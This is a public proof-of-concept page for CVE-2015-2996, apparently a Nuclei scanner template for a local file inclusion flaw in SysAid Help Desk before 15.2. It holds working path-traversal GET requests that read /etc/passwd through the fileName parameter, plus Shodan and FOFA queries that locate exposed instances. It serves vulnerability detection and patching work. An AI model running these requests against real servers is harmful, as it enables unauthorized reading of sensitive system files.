CVE-2015-2996: SysAid Help Desk <15.2 - Local File Inclusion

2025-08-01 SysAid Help Desk PoC Public

Description

SysAid Help Desk before 15.2 contains multiple local file inclusion vulnerabilities which can allow remote attackers to read arbitrary files via .. (dot dot) in the fileName parameter of getGfiUpgradeFile or cause a denial of service (CPU and memory consumption) via .. (dot dot) in the fileName parameter of calculateRdsFileChecksum.

PoC

id: CVE-2015-2996

info:
  name: SysAid Help Desk <15.2 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    SysAid Help Desk before 15.2 contains multiple local file inclusion vulnerabilities which can allow remote attackers to read arbitrary files via .. (dot dot) in the fileName parameter of getGfiUpgradeFile or cause a denial of service (CPU and memory consumption) via .. (dot dot) in the fileName parameter of calculateRdsFileChecksum.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade SysAid Help Desk to version 15.2 or later to mitigate the vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Jun/8
    - https://www.sysaid.com/blog/entry/sysaid-15-2-your-voice-your-service-desk
    - http://seclists.org/fulldisclosure/2015/Jun/8
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2996
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:C
    cvss-score: 8.5
    cve-id: CVE-2015-2996
    cwe-id: CWE-22
    epss-score: 0.86643
    epss-percentile: 0.9973
    cpe: cpe:2.3:a:sysaid:sysaid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2015,cve,sysaid,lfi,seclists,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"
      - "{{BaseURL}}/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d11cabf6dafebc18798771988b1fe01967d2ccaf22e8694a0a1eb970b90a1c4902204188d7d7bf9cd060ac4626f72619c1aa0cfceaa044f2e506444b704d6ff03024:922c64590222798bb761d5b6d8e72950

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